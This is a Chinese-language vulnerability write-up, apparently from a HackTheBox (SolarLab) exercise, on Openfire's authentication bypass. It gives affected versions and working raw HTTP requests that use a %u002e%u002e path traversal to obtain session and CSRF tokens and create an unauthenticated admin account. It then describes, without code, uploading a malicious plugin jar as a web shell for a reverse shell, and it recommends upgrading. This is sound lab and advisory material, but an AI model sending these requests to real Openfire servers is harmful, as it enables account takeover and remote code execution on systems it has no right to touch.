0x00 前言

最近打HTB靶场过程中,遇到过两次Openfire相关漏洞,本次就单独梳理出来。

0x01 漏洞描述

Openfire是一款基于XMPP(前称Jabber,即时通讯协议)的跨平台开源实时协作(RTC)服务器,它是基于java语言开发的,提供了一套完整的实时通信解决方案,能够构建高效率的即时通信服务器,并支持上万并发用户数量。

但Openfire存在认证绕过漏洞,未经身份认证的远程攻击者可以构造恶意请求未授权访问后台页面,最终上传恶意文件实现远程代码执行

0x02 影响版本

3.10.0 <= Openfire < 4.6.8

4.7.0 <= Openfire 4.7.x < 4.7.5

0x03 漏洞复现

本次以HTB中的Solarlab中的Openfire为例:

访问http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp​,如果能未授权访问到日志文件,说明存在该漏洞

先获得 JSESSIONID 和 csrftoken

1
2
3
4
5
6
7
8
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: 127.0.0.1:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 0
1
2
JSESSIONID=node013h0l9ukcoeaw1163xaatfgvb35.node0
csrf=OBwT92asQjLPqBJ

得到了JSESSIONID和csrf之后再创建一个用户

1
2
3
4
5
6
7
8
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=OBwT92asQjLPqBJ&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node013h0l9ukcoeaw1163xaatfgvb35.node0; csrf=OBwT92asQjLPqBJ
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

利用创建的用户test/test成功登录后台

在后台界面按照下图路径上传插件的恶意jar包,反弹shell

在Server->Server Settings处访问上传的shell

输入密码123访问shel

选择系统命令来反弹一个shell或者执行系统命令

0x04 修复建议

升级至最新版本:https://github.com/igniterealtime/Openfire/releases